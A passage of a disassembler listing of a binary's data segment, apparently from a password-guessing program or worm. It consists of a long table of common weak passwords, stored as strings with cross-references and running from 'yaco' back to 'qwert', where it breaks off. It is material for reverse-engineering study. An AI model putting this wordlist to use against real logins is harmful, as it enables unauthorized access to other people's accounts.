seg001:0042E504o align 4 aYaco db 'yaco',0 ; DATA XREF: seg001:0042DDC4o ; seg001:0042E500o align 10h aXyzzy db 'xyzzy',0 ; DATA XREF: seg001:0042DDC0o align 4 aXray db 'xray',0 ; DATA XREF: seg001:0042DDBCo align 10h aXmodem db 'xmodem',0 ; DATA XREF: seg001:0042DDB8o align 4 aXmen db 'xmen',0 ; DATA XREF: seg001:0042DDB4o align 10h aXman db 'xman',0 ; DATA XREF: seg001:0042DDB0o align 4 aXfer db 'xfer',0 ; DATA XREF: seg001:0042DDACo align 10h aXena db 'xena',0 ; DATA XREF: seg001:0042DDA8o align 4 aWyoming db 'wyoming',0 ; DATA XREF: seg001:0042DDA4o aWwii db 'wwii',0 ; DATA XREF: seg001:0042DDA0o align 4 aWormwood db 'wormwood',0 ; DATA XREF: seg001:0042DD9Co align 4 aWorm db 'worm',0 ; DATA XREF: seg001:0042DD98o align 4 aWork db 'work',0 ; DATA XREF: seg001:0042DD94o align 4 aWorf db 'worf',0 ; DATA XREF: seg001:0042DD90o align 4 aWordperf db 'wordperf',0 ; DATA XREF: seg001:0042DD8Co align 4 aWord db 'word',0 ; DATA XREF: seg001:0042DD88o align 10h aWoodwind db 'woodwind',0 ; DATA XREF: seg001:0042DD84o align 4 aWood db 'wood',0 ; DATA XREF: seg001:0042DD80o align 4 aWomen db 'women',0 ; DATA XREF: seg001:0042DD7Co align 4 aWombat db 'wombat',0 ; DATA XREF: seg001:0042DD78o align 4 aWoman db 'woman',0 ; DATA XREF: seg001:0042DD74o align 4 aWolverin db 'wolverin',0 ; DATA XREF: seg001:0042DD70o align 4 aWolf db 'wolf',0 ; DATA XREF: seg001:0042DD6Co align 10h aWizard db 'wizard',0 ; DATA XREF: seg001:0042DD68o align 4 aWithin db 'within',0 ; DATA XREF: seg001:0042DD64o align 10h aWiseass db 'wiseass',0 ; DATA XREF: seg001:0042DD60o aWisconsi db 'wisconsi',0 ; DATA XREF: seg001:0042DD5Co align 4 aWired db 'wired',0 ; DATA XREF: seg001:0042DD58o align 4 aWinston db 'winston',0 ; DATA XREF: seg001:0042DD54o aWing db 'wing',0 ; DATA XREF: seg001:0042DD50o align 4 aWine db 'wine',0 ; DATA XREF: seg001:0042DD4Co align 4 aWindows db 'windows',0 ; DATA XREF: seg001:0042DD48o aWilma db 'wilma',0 ; DATA XREF: seg001:0042DD44o align 4 aWillie db 'willie',0 ; DATA XREF: seg001:0042DD40o align 4 aWilliams db 'williams',0 ; DATA XREF: seg001:0042DD3Co align 4 aWilliam db 'william',0 ; DATA XREF: seg001:0042DD38o aWill db 'will',0 ; DATA XREF: seg001:0042DD34o align 4 aWhore db 'whore',0 ; DATA XREF: seg001:0042DD30o align 10h aWholesal db 'wholesal',0 ; DATA XREF: seg001:0042DD2Co align 4 aWhitney db 'whitney',0 ; DATA XREF: seg001:0042DD28o aWhiting db 'whiting',0 ; DATA XREF: seg001:0042DD24o aWhite db 'white',0 ; DATA XREF: seg001:0042DD20o align 4 aWhisky db 'whisky',0 ; DATA XREF: seg001:0042DD1Co align 4 aWhatnot db 'whatnot',0 ; DATA XREF: seg001:0042DD18o aWhatever db 'whatever',0 ; DATA XREF: seg001:0042DD14o align 10h aWestern db 'western',0 ; DATA XREF: seg001:0042DD10o aWest db 'west',0 ; DATA XREF: seg001:0042DD0Co align 10h aWerewolf db 'werewolf',0 ; DATA XREF: seg001:0042DD08o align 4 aWendy db 'wendy',0 ; DATA XREF: seg001:0042DD04o align 4 aWendi db 'wendi',0 ; DATA XREF: seg001:0042DD00o align 4 aWell db 'well',0 ; DATA XREF: seg001:0042DCFCo align 4 aWeenie db 'weenie',0 ; DATA XREF: seg001:0042DCF8o align 4 aWeed db 'weed',0 ; DATA XREF: seg001:0042DCF4o align 4 aWednesda db 'wednesda',0 ; DATA XREF: seg001:0042DCF0o align 10h aWebpage db 'webpage',0 ; DATA XREF: seg001:0042DCECo aWave db 'wave',0 ; DATA XREF: seg001:0042DCE8o align 10h aWater db 'water',0 ; DATA XREF: seg001:0042DCE4o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: seg001:0042DCE0o align 4 aWasp db 'wasp',0 ; DATA XREF: seg001:0042DCDCo align 4 aWarren db 'warren',0 ; DATA XREF: seg001:0042DCD8o align 4 aWarp db 'warp',0 ; DATA XREF: seg001:0042DCD4o align 4 aWargames db 'wargames',0 ; DATA XREF: seg001:0042DCD0o align 4 aWarfare db 'warfare',0 ; DATA XREF: seg001:0042DCCCo aWarez db 'warez',0 ; DATA XREF: seg001:0042DCC8o align 4 aWard db 'ward',0 ; DATA XREF: seg001:0042DCC4o align 10h aWaco db 'waco',0 ; DATA XREF: seg001:0042DCC0o align 4 aVodka db 'vodka',0 ; DATA XREF: seg001:0042DCBCo align 10h aVisualba db 'visualba',0 ; DATA XREF: seg001:0042DCB8o align 4 aVisual db 'visual',0 ; DATA XREF: seg001:0042DCB4o align 4 aVisitor db 'visitor',0 ; DATA XREF: seg001:0042DCB0o aVirus db 'virus',0 ; DATA XREF: seg001:0042DCACo align 4 aVirginia db 'virginia',0 ; DATA XREF: seg001:0042DCA8o align 10h aVirgin db 'virgin',0 ; DATA XREF: seg001:0042DCA4o align 4 aVillage db 'village',0 ; DATA XREF: seg001:0042DCA0o aVideogam db 'videogam',0 ; DATA XREF: seg001:0042DC9Co align 4 aVideo db 'video',0 ; DATA XREF: seg001:0042DC98o align 4 aVictor db 'victor',0 ; DATA XREF: seg001:0042DC94o align 4 aVicky db 'vicky',0 ; DATA XREF: seg001:0042DC90o align 4 aVertigo db 'vertigo',0 ; DATA XREF: seg001:0042DC8Co aVeronica db 'veronica',0 ; DATA XREF: seg001:0042DC88o align 4 aVenus db 'venus',0 ; DATA XREF: seg001:0042DC84o align 10h aVasant db 'vasant',0 ; DATA XREF: seg001:0042DC80o align 4 aVampire db 'vampire',0 ; DATA XREF: seg001:0042DC7Co aValerie db 'valerie',0 ; DATA XREF: seg001:0042DC78o aVagina db 'vagina',0 ; DATA XREF: seg001:0042DC74o align 10h aUucp db 'uucp',0 ; DATA XREF: seg001:0042DC70o align 4 aUtility db 'utility',0 ; DATA XREF: seg001:0042DC6Co aUtil db 'util',0 ; DATA XREF: seg001:0042DC68o align 4 aUsmc db 'usmc',0 ; DATA XREF: seg001:0042DC64o align 10h aUsername db 'username',0 ; DATA XREF: seg001:0042DC60o align 4 aUsermane db 'usermane',0 ; DATA XREF: seg001:0042DC5Co align 4 aUsenet db 'usenet',0 ; DATA XREF: seg001:0042DC58o align 10h aUrsula db 'ursula',0 ; DATA XREF: seg001:0042DC54o align 4 aUrchin db 'urchin',0 ; DATA XREF: seg001:0042DC50o align 10h aUranus db 'uranus',0 ; DATA XREF: seg001:0042DC4Co align 4 aUpload db 'upload',0 ; DATA XREF: seg001:0042DC48o align 10h aUnlock db 'unlock',0 ; DATA XREF: seg001:0042DC44o align 4 aUnknown_0 db 'unknown',0 ; DATA XREF: seg001:0042DC40o aUniversi db 'universi',0 ; DATA XREF: seg001:0042DC3Co align 4 aUniverse db 'universe',0 ; DATA XREF: seg001:0042DC38o align 4 aUniversa db 'universa',0 ; DATA XREF: seg001:0042DC34o align 4 aUniform db 'uniform',0 ; DATA XREF: seg001:0042DC30o aUnicorn db 'unicorn',0 ; DATA XREF: seg001:0042DC2Co aUnhappy db 'unhappy',0 ; DATA XREF: seg001:0042DC28o aUndo db 'undo',0 ; DATA XREF: seg001:0042DC24o align 4 aUncle db 'uncle',0 ; DATA XREF: seg001:0042DC20o align 4 aUmesh db 'umesh',0 ; DATA XREF: seg001:0042DC1Co align 4 aUgly db 'ugly',0 ; DATA XREF: seg001:0042DC18o align 4 aTuttle db 'tuttle',0 ; DATA XREF: seg001:0042DC14o align 4 aTurn db 'turn',0 ; DATA XREF: seg001:0042DC10o align 4 aTuesday db 'tuesday',0 ; DATA XREF: seg001:0042DC0Co aTubas db 'tubas',0 ; DATA XREF: seg001:0042DC08o align 4 aTruth db 'truth',0 ; DATA XREF: seg001:0042DC04o align 4 aTrue db 'true',0 ; DATA XREF: seg001:0042DC00o align 4 aTron db 'tron',0 ; DATA XREF: seg001:0042DBFCo align 4 aTrombone db 'trombone',0 ; DATA XREF: seg001:0042DBF8o align 10h aTrojan db 'trojan',0 ; DATA XREF: seg001:0042DBF4o align 4 aTrivial db 'trivial',0 ; DATA XREF: seg001:0042DBF0o aTrisha db 'trisha',0 ; DATA XREF: seg001:0042DBECo align 4 aTrek db 'trek',0 ; DATA XREF: seg001:0042DBE8o align 10h aTree db 'tree',0 ; DATA XREF: seg001:0042DBE4o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: seg001:0042DBE0o align 4 aTrap db 'trap',0 ; DATA XREF: seg001:0042DBDCo align 4 aTransfer db 'transfer',0 ; DATA XREF: seg001:0042DBD8o align 4 aTrails db 'trails',0 ; DATA XREF: seg001:0042DBD4o align 10h aTracy db 'tracy',0 ; DATA XREF: seg001:0042DBD0o align 4 aTracie db 'tracie',0 ; DATA XREF: seg001:0042DBCCo align 10h aTraci db 'traci',0 ; DATA XREF: seg001:0042DBC8o align 4 aToyota db 'toyota',0 ; DATA XREF: seg001:0042DBC4o ; seg001:0042E4D4o align 10h aToxic db 'toxic',0 ; DATA XREF: seg001:0042DBC0o align 4 aTortoise db 'tortoise',0 ; DATA XREF: seg001:0042DBBCo align 4 aTopograp db 'topograp',0 ; DATA XREF: seg001:0042DBB8o align 10h aTomato db 'tomato',0 ; DATA XREF: seg001:0042DBB4o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: seg001:0042DBB0o align 4 aToken db 'token',0 ; DATA XREF: seg001:0042DBACo align 4 aToggle db 'toggle',0 ; DATA XREF: seg001:0042DBA8o align 4 aToad db 'toad',0 ; DATA XREF: seg001:0042DBA4o align 4 aTits db 'tits',0 ; DATA XREF: seg001:0042DBA0o align 4 aTina db 'tina',0 ; DATA XREF: seg001:0042DB9Co align 4 aTime db 'time',0 ; DATA XREF: seg001:0042DB98o align 4 aTiger db 'tiger',0 ; DATA XREF: seg001:0042DB94o ; seg001:0042E4C8o align 4 aTiffany db 'tiffany',0 ; DATA XREF: seg001:0042DB90o aThursday db 'thursday',0 ; DATA XREF: seg001:0042DB8Co align 10h aThin db 'thin',0 ; DATA XREF: seg001:0042DB88o align 4 aTheresa db 'theresa',0 ; DATA XREF: seg001:0042DB84o aThailand db 'thailand',0 ; DATA XREF: seg001:0042DB80o align 4 aText db 'text',0 ; DATA XREF: seg001:0042DB7Co align 4 aTetris db 'tetris',0 ; DATA XREF: seg001:0042DB78o align 4 aTess db 'tess',0 ; DATA XREF: seg001:0042DB74o align 4 aTerminat db 'terminat',0 ; DATA XREF: seg001:0042DB70o align 10h aTerminal db 'terminal',0 ; DATA XREF: seg001:0042DB6Co align 4 aTera db 'tera',0 ; DATA XREF: seg001:0042DB68o align 4 aTennis db 'tennis',0 ; DATA XREF: seg001:0042DB64o align 4 aTemptati db 'temptati',0 ; DATA XREF: seg001:0042DB60o align 4 aTelnet db 'telnet',0 ; DATA XREF: seg001:0042DB5Co align 10h aTelephon db 'telephon',0 ; DATA XREF: seg001:0042DB58o align 4 aTeenage db 'teenage',0 ; DATA XREF: seg001:0042DB54o aTeen db 'teen',0 ; DATA XREF: seg001:0042DB50o align 4 aTech db 'tech',0 ; DATA XREF: seg001:0042DB4Co align 4 aTears db 'tears',0 ; DATA XREF: seg001:0042DB48o align 4 aTeapot db 'teapot',0 ; DATA XREF: seg001:0042DB44o align 4 aTeam db 'team',0 ; DATA XREF: seg001:0042DB40o align 4 aTaylor db 'taylor',0 ; DATA XREF: seg001:0042DB38o align 4 aTarragon db 'tarragon',0 ; DATA XREF: seg001:0042DB34o align 10h aTarget db 'target',0 ; DATA XREF: seg001:0042DB30o align 4 aTara db 'tara',0 ; DATA XREF: seg001:0042DB2Co align 10h aTape db 'tape',0 ; DATA XREF: seg001:0042DB28o align 4 aTango db 'tango',0 ; DATA XREF: seg001:0042DB24o align 10h aTangerin db 'tangerin',0 ; DATA XREF: seg001:0042DB20o align 4 aTammy db 'tammy',0 ; DATA XREF: seg001:0042DB1Co align 4 aTamie db 'tamie',0 ; DATA XREF: seg001:0042DB18o align 4 aTami db 'tami',0 ; DATA XREF: seg001:0042DB14o align 4 aTamara db 'tamara',0 ; DATA XREF: seg001:0042DB10o align 4 aTall db 'tall',0 ; DATA XREF: seg001:0042DB0Co align 4 aTalk db 'talk',0 ; DATA XREF: seg001:0042DB08o align 4 aTabasco db 'tabasco',0 ; DATA XREF: seg001:0042DB04o aSysop db 'sysop',0 ; DATA XREF: seg001:0042DB00o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: seg001:0042DAFCo align 4 aSymmetry db 'symmetry',0 ; DATA XREF: seg001:0042DAF8o align 4 aSybil db 'sybil',0 ; DATA XREF: seg001:0042DAF4o align 4 aSword db 'sword',0 ; DATA XREF: seg001:0042DAF0o align 4 aSwitch db 'switch',0 ; DATA XREF: seg001:0042DAECo align 4 aSweat db 'sweat',0 ; DATA XREF: seg001:0042DAE8o align 4 aSwearer db 'swearer',0 ; DATA XREF: seg001:0042DAE4o aSuzie db 'suzie',0 ; DATA XREF: seg001:0042DAE0o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: seg001:0042DADCo aSusie db 'susie',0 ; DATA XREF: seg001:0042DAD8o align 4 aSusanne db 'susanne',0 ; DATA XREF: seg001:0042DAD4o aSusan db 'susan',0 ; DATA XREF: seg001:off_4254E0o ; seg001:0042DAD0o align 4 aSurfing db 'surfing',0 ; DATA XREF: seg001:0042DACCo aSurfer db 'surfer',0 ; DATA XREF: seg001:0042DAC8o align 4 aSupporte db 'supporte',0 ; DATA XREF: seg001:0042DAC4o align 10h aSupport db 'support',0 ; DATA XREF: seg001:0042DAC0o aSupervis db 'supervis',0 ; DATA XREF: seg001:0042DABCo align 4 aSuperuse db 'superuse',0 ; DATA XREF: seg001:0042DAB8o align 10h aSupersta db 'supersta',0 ; DATA XREF: seg001:0042DAB4o align 4 aSuperson db 'superson',0 ; DATA XREF: seg001:0042DAB0o align 4 aSuperman db 'superman',0 ; DATA XREF: seg001:0042DAACo align 4 aSunday db 'sunday',0 ; DATA XREF: seg001:0042DAA8o align 4 aSummer db 'summer',0 ; DATA XREF: seg001:0042DAA4o align 4 aSucks db 'sucks',0 ; DATA XREF: seg001:0042DAA0o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: seg001:0042DA9Co align 4 aSuck db 'suck',0 ; DATA XREF: seg001:0042DA98o align 10h aSuccess db 'success',0 ; DATA XREF: seg001:0042DA94o aSubway db 'subway',0 ; DATA XREF: seg001:0042DA90o align 10h aSubscrib db 'subscrib',0 ; DATA XREF: seg001:0042DA8Co align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: seg001:0042DA88o align 4 aStrip db 'strip',0 ; DATA XREF: seg001:0042DA80o align 10h aString db 'string',0 ; DATA XREF: seg001:0042DA7Co align 4 aStreetfi db 'streetfi',0 ; DATA XREF: seg001:0042DA78o align 4 aStratfor db 'stratfor',0 ; DATA XREF: seg001:0042DA74o align 10h aStrangle db 'strangle',0 ; DATA XREF: seg001:0042DA70o align 4 aStrange db 'strange',0 ; DATA XREF: seg001:0042DA6Co aStones db 'stones',0 ; DATA XREF: seg001:0042DA68o align 4 aStoned db 'stoned',0 ; DATA XREF: seg001:0042DA64o align 4 aStoneage db 'stoneage',0 ; DATA XREF: seg001:0042DA60o align 10h aSteve db 'steve',0 ; DATA XREF: seg001:0042DA5Co align 4 aStereo db 'stereo',0 ; DATA XREF: seg001:0042DA58o align 10h aStephani db 'stephani',0 ; DATA XREF: seg001:0042DA54o align 4 aSteph db 'steph',0 ; DATA XREF: seg001:0042DA50o align 4 aSteel db 'steel',0 ; DATA XREF: seg001:0042DA4Co align 4 aSteal db 'steal',0 ; DATA XREF: seg001:0042DA48o align 4 aSteak db 'steak',0 ; DATA XREF: seg001:0042DA44o align 4 aStarwars db 'starwars',0 ; DATA XREF: seg001:0042DA40o align 4 aStartup db 'startup',0 ; DATA XREF: seg001:0042DA3Co aStartrek db 'startrek',0 ; DATA XREF: seg001:0042DA38o align 4 aStart db 'start',0 ; DATA XREF: sub_40CD3A+1E47o ; seg001:0042DA34o align 4 aStarship db 'starship',0 ; DATA XREF: seg001:0042DA30o align 10h aStar db 'star',0 ; DATA XREF: seg001:0042DA2Co align 4 aStacy db 'stacy',0 ; DATA XREF: seg001:0042DA28o align 10h aStacie db 'stacie',0 ; DATA XREF: seg001:0042DA24o align 4 aStaci db 'staci',0 ; DATA XREF: seg001:0042DA20o align 10h aStacey db 'stacey',0 ; DATA XREF: seg001:0042DA1Co align 4 aSr71 db 'sr71',0 ; DATA XREF: seg001:0042DA18o align 10h aSquires db 'squires',0 ; DATA XREF: seg001:0042DA14o aSpunk db 'spunk',0 ; DATA XREF: seg001:0042DA10o align 10h aSpringer db 'springer',0 ; DATA XREF: seg001:0042DA0Co align 4 aSpring db 'spring',0 ; DATA XREF: seg001:0042DA08o align 4 aSpred db 'spred',0 ; DATA XREF: seg001:0042DA04o align 4 aSpit db 'spit',0 ; DATA XREF: seg001:0042DA00o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: seg001:0042D9FCo align 10h aSpider db 'spider',0 ; DATA XREF: seg001:0042D9F8o align 4 aSpice db 'spice',0 ; DATA XREF: seg001:0042D9F4o align 10h aSpell db 'spell',0 ; DATA XREF: seg001:0042D9F0o align 4 aSpear db 'spear',0 ; DATA XREF: seg001:0042D9ECo align 10h aSparrows db 'sparrows',0 ; DATA XREF: seg001:0042D9E8o align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: seg001:0042D9E4o align 4 aSouth db 'south',0 ; DATA XREF: seg001:0042D9E0o align 10h aSource db 'source',0 ; DATA XREF: seg001:0042D9DCo align 4 aSossina db 'sossina',0 ; DATA XREF: seg001:0042D9D8o aSonya db 'sonya',0 ; DATA XREF: seg001:0042D9D4o align 4 aSonic db 'sonic',0 ; DATA XREF: seg001:0042D9D0o align 10h aSonia db 'sonia',0 ; DATA XREF: seg001:0042D9CCo align 4 aSondra db 'sondra',0 ; DATA XREF: seg001:0042D9C8o align 10h aSomebody db 'somebody',0 ; DATA XREF: seg001:0042D9C4o align 4 aSoftware db 'software',0 ; DATA XREF: seg001:0042D9C0o align 4 aSoft db 'soft',0 ; DATA XREF: seg001:0042D9BCo align 10h aSodomy db 'sodomy',0 ; DATA XREF: seg001:0042D9B8o align 4 aSocrates db 'socrates',0 ; DATA XREF: seg001:0042D9B4o align 4 aSocial db 'social',0 ; DATA XREF: seg001:0042D9B0o align 4 aSoap db 'soap',0 ; DATA XREF: seg001:0042D9ACo align 4 aSnoopy db 'snoopy',0 ; DATA XREF: seg001:0042D9A8o align 4 aSnatch db 'snatch',0 ; DATA XREF: seg001:0042D9A4o align 4 aSnake db 'snake',0 ; DATA XREF: seg001:0042D9A0o align 4 aSnafu db 'snafu',0 ; DATA XREF: seg001:0042D99Co align 4 aSnach db 'snach',0 ; DATA XREF: seg001:0042D998o align 4 aSmut db 'smut',0 ; DATA XREF: seg001:0042D994o align 4 aSmtp db 'smtp',0 ; DATA XREF: seg001:0042D990o align 4 aSmother db 'smother',0 ; DATA XREF: seg001:0042D98Co aSmooch db 'smooch',0 ; DATA XREF: seg001:0042D988o align 4 aSmiles db 'smiles',0 ; DATA XREF: seg001:0042D984o align 4 aSmile db 'smile',0 ; DATA XREF: seg001:0042D980o align 4 aSmart db 'smart',0 ; DATA XREF: seg001:0042D97Co align 4 aSmall db 'small',0 ; DATA XREF: seg001:0042D978o align 4 aSlut db 'slut',0 ; DATA XREF: seg001:0042D974o align 4 aSlow db 'slow',0 ; DATA XREF: seg001:0042D970o align 4 aSliders db 'sliders',0 ; DATA XREF: seg001:0042D96Co aSlick db 'slick',0 ; DATA XREF: seg001:0042D968o align 4 aSlave db 'slave',0 ; DATA XREF: seg001:0042D964o align 4 aSkull db 'skull',0 ; DATA XREF: seg001:0042D960o align 4 aSite db 'site',0 ; DATA XREF: seg001:0042D95Co align 4 aSingle db 'single',0 ; DATA XREF: seg001:0042D958o align 4 aSinger db 'singer',0 ; DATA XREF: seg001:0042D954o align 4 aSimulati db 'simulati',0 ; DATA XREF: seg001:0042D950o align 10h aSimpsons db 'simpsons',0 ; DATA XREF: seg001:0042D94Co align 4 aSimple db 'simple',0 ; DATA XREF: seg001:0042D948o align 4 aSimon db 'simon',0 ; DATA XREF: seg001:0042D944o align 4 aSimcity db 'simcity',0 ; DATA XREF: seg001:0042D940o aSilver db 'silver',0 ; DATA XREF: seg001:0042D93Co align 4 aSignatur db 'signatur',0 ; DATA XREF: seg001:0042D938o align 4 aSierra db 'sierra',0 ; DATA XREF: seg001:0042D934o align 10h aSick db 'sick',0 ; DATA XREF: seg001:0042D930o align 4 aShuttle db 'shuttle',0 ; DATA XREF: seg001:0042D92Co aShort db 'short',0 ; DATA XREF: seg001:0042D928o align 4 aShivers db 'shivers',0 ; DATA XREF: seg001:0042D924o aShiva db 'shiva',0 ; DATA XREF: seg001:0042D920o align 4 aShitpot db 'shitpot',0 ; DATA XREF: seg001:0042D91Co aShit db 'shit',0 ; DATA XREF: seg001:0042D918o align 4 aShirley db 'shirley',0 ; DATA XREF: seg001:0042D914o aShift db 'shift',0 ; DATA XREF: seg001:0042D910o align 4 aSherri db 'sherri',0 ; DATA XREF: seg001:0042D90Co align 10h aShell db 'shell',0 ; DATA XREF: seg001:0042D908o align 4 aSheldon db 'sheldon',0 ; DATA XREF: seg001:0042D904o aSheffiel db 'sheffiel',0 ; DATA XREF: seg001:0042D900o align 4 aSharon db 'sharon',0 ; DATA XREF: seg001:0042D8FCo align 4 aSharks db 'sharks',0 ; DATA XREF: seg001:0042D8F8o align 4 aShark db 'shark',0 ; DATA XREF: seg001:0042D8F4o align 4 aSharc db 'sharc',0 ; DATA XREF: seg001:0042D8F0o align 4 aShannon db 'shannon',0 ; DATA XREF: seg001:0042D8ECo aSexy db 'sexy',0 ; DATA XREF: seg001:0042D8E8o align 4 aSesame db 'sesame',0 ; DATA XREF: seg001:0042D8E4o align 4 aService db 'service',0 ; DATA XREF: seg001:0042D8E0o ; seg001:0042E4A8o aSerial_0 db 'serial',0 ; DATA XREF: seg001:0042D8DCo align 4 aSerenity db 'serenity',0 ; DATA XREF: seg001:0042D8D8o align 10h aSentry db 'sentry',0 ; DATA XREF: seg001:0042D8D4o align 4 aSentinel db 'sentinel',0 ; DATA XREF: seg001:0042D8D0o align 4 aSensor db 'sensor',0 ; DATA XREF: seg001:0042D8CCo align 4 aSega db 'sega',0 ; DATA XREF: seg001:0042D8C8o align 4 aSeed db 'seed',0 ; DATA XREF: seg001:0042D8C4o align 4 aSecurity db 'security',0 ; DATA XREF: seg001:0042D8C0o align 4 aSearch db 'search',0 ; DATA XREF: seg001:0042D8BCo align 10h aScout db 'scout',0 ; DATA XREF: seg001:0042D8B8o align 4 aScotty db 'scotty',0 ; DATA XREF: seg001:0042D8B4o align 10h aScott db 'scott',0 ; DATA XREF: seg001:0042D8B0o align 4 aScorpion db 'scorpion',0 ; DATA XREF: seg001:0042D8ACo align 4 aScifi db 'scifi',0 ; DATA XREF: seg001:0042D8A8o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg001:0042D8A4o aSchool db 'school',0 ; DATA XREF: seg001:0042D8A0o align 10h aScheme db 'scheme',0 ; DATA XREF: seg001:0042D89Co align 4 aScamper db 'scamper',0 ; DATA XREF: seg001:0042D898o aSaxon db 'saxon',0 ; DATA XREF: seg001:0042D894o align 4 aSaturn db 'saturn',0 ; DATA XREF: seg001:0042D890o align 10h aSaturday db 'saturday',0 ; DATA XREF: seg001:0042D88Co align 4 aSarah db 'sarah',0 ; DATA XREF: seg001:0042D888o align 4 aSara db 'sara',0 ; DATA XREF: seg001:0042D884o align 4 aSandy db 'sandy',0 ; DATA XREF: seg001:0042D880o align 4 aSandra db 'sandra',0 ; DATA XREF: seg001:0042D87Co align 4 aSample db 'sample',0 ; DATA XREF: seg001:0042D878o align 4 aSamantha db 'samantha',0 ; DATA XREF: seg001:0042D874o align 10h aSalt db 'salt',0 ; DATA XREF: seg001:0042D870o align 4 aSale db 'sale',0 ; DATA XREF: seg001:0042D86Co align 10h aSalami db 'salami',0 ; DATA XREF: seg001:0042D868o align 4 aSafe db 'safe',0 ; DATA XREF: seg001:0042D864o align 10h aRuth db 'ruth',0 ; DATA XREF: seg001:0042D860o align 4 aRush db 'rush',0 ; DATA XREF: seg001:0042D85Co align 10h aRunning db 'running',0 ; DATA XREF: seg001:0042D858o aRules db 'rules',0 ; DATA XREF: seg001:0042D854o align 10h aRude db 'rude',0 ; DATA XREF: seg001:0042D850o align 4 aRuby db 'ruby',0 ; DATA XREF: seg001:0042D84Co align 10h aRuben db 'ruben',0 ; DATA XREF: seg001:0042D848o align 4 aRubber db 'rubber',0 ; DATA XREF: seg001:0042D844o align 10h aRough db 'rough',0 ; DATA XREF: seg001:0042D840o align 4 aRoses db 'roses',0 ; DATA XREF: seg001:0042D83Co align 10h aRosemary db 'rosemary',0 ; DATA XREF: seg001:0042D838o align 4 aRosebud db 'rosebud',0 ; DATA XREF: seg001:0042D834o aRose db 'rose',0 ; DATA XREF: seg001:0042D830o align 4 aRonald db 'ronald',0 ; DATA XREF: seg001:0042D82Co align 4 aRomulan db 'romulan',0 ; DATA XREF: seg001:0042D828o aRomeo db 'romeo',0 ; DATA XREF: seg001:0042D824o align 4 aRomano db 'romano',0 ; DATA XREF: seg001:0042D820o align 4 aRolex db 'rolex',0 ; DATA XREF: seg001:0042D81Co align 4 aRodent db 'rodent',0 ; DATA XREF: seg001:0042D818o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: seg001:0042D814o align 4 aRocky db 'rocky',0 ; DATA XREF: seg001:0042D810o align 10h aRock db 'rock',0 ; DATA XREF: seg001:0042D80Co align 4 aRocheste db 'rocheste',0 ; DATA XREF: seg001:0042D808o align 4 aRochelle db 'rochelle',0 ; DATA XREF: seg001:0042D804o align 10h aRobyn db 'robyn',0 ; DATA XREF: seg001:0042D800o align 4 aRobotics db 'robotics',0 ; DATA XREF: seg001:0042D7FCo align 4 aRobot db 'robot',0 ; DATA XREF: seg001:0042D7F8o align 4 aRobin db 'robin',0 ; DATA XREF: seg001:0042D7F4o align 4 aRobert db 'robert',0 ; DATA XREF: seg001:0042D7F0o align 4 aRoach db 'roach',0 ; DATA XREF: seg001:0042D7ECo align 4 aRisc db 'risc',0 ; DATA XREF: seg001:0042D7E8o align 4 aRipple db 'ripple',0 ; DATA XREF: seg001:0042D7E4o align 4 aRiot db 'riot',0 ; DATA XREF: seg001:0042D7E0o align 4 aRing db 'ring',0 ; DATA XREF: seg001:0042D7DCo align 4 aRightwin db 'rightwin',0 ; DATA XREF: seg001:0042D7D8o align 10h aRight db 'right',0 ; DATA XREF: seg001:0042D7D4o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: seg001:0042D7D0o align 4 aRick db 'rick',0 ; DATA XREF: seg001:0042D7CCo align 4 aRich db 'rich',0 ; DATA XREF: seg001:0042D7C8o align 4 aRhino db 'rhino',0 ; DATA XREF: seg001:0042D7C4o align 4 aReveal db 'reveal',0 ; DATA XREF: seg001:0042D7C0o align 4 aResistan db 'resistan',0 ; DATA XREF: seg001:0042D7BCo align 10h aRepublic db 'republic',0 ; DATA XREF: seg001:0042D7B8o align 4 aReport db 'report',0 ; DATA XREF: seg001:0042D7B4o align 4 aRent db 'rent',0 ; DATA XREF: seg001:0042D7B0o align 4 aReno db 'reno',0 ; DATA XREF: seg001:0042D7ACo align 4 aRenee db 'renee',0 ; DATA XREF: seg001:0042D7A8o align 4 aRemote db 'remote',0 ; DATA XREF: seg001:0042D7A4o align 4 aRelease db 'release',0 ; DATA XREF: seg001:0042D7A0o aRegional db 'regional',0 ; DATA XREF: seg001:0042D79Co align 4 aReferenc db 'referenc',0 ; DATA XREF: seg001:0042D798o align 4 aRedhead db 'redhead',0 ; DATA XREF: seg001:0042D794o aReddawn db 'reddawn',0 ; DATA XREF: seg001:0042D790o aRecord db 'record',0 ; DATA XREF: seg001:0042D78Co align 4 aRebel db 'rebel',0 ; DATA XREF: seg001:0042D788o align 4 aRebecca db 'rebecca',0 ; DATA XREF: seg001:0042D784o aRebal db 'rebal',0 ; DATA XREF: seg001:0042D780o align 4 aReaper db 'reaper',0 ; DATA XREF: seg001:0042D77Co align 4 aReam db 'ream',0 ; DATA XREF: seg001:0042D778o align 4 aReally db 'really',0 ; DATA XREF: seg001:0042D774o align 4 aReality db 'reality',0 ; DATA XREF: seg001:0042D770o aReagan db 'reagan',0 ; DATA XREF: seg001:0042D76Co align 4 aRazor db 'razor',0 ; DATA XREF: seg001:0042D768o align 4 aRascal db 'rascal',0 ; DATA XREF: seg001:0042D764o align 4 aRape db 'rape',0 ; DATA XREF: seg001:0042D760o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: seg001:0042D758o aRaindrop db 'raindrop',0 ; DATA XREF: seg001:0042D754o align 4 aRainbow db 'rainbow',0 ; DATA XREF: seg001:0042D750o aRain db 'rain',0 ; DATA XREF: seg001:0042D74Co align 4 aRaid db 'raid',0 ; DATA XREF: seg001:0042D748o align 10h aRachmani db 'rachmani',0 ; DATA XREF: seg001:0042D744o align 4 aRachelle db 'rachelle',0 ; DATA XREF: seg001:0042D740o align 4 aRachel db 'rachel',0 ; DATA XREF: seg001:0042D73Co align 10h aRabbit db 'rabbit',0 ; DATA XREF: seg001:0042D738o align 4 aQwerty db 'qwerty',0 ; DATA XREF: seg001:0042D734o ; seg001:0042E48Co align 10h aQwert db 'qwert',0 ; DATA XREF: 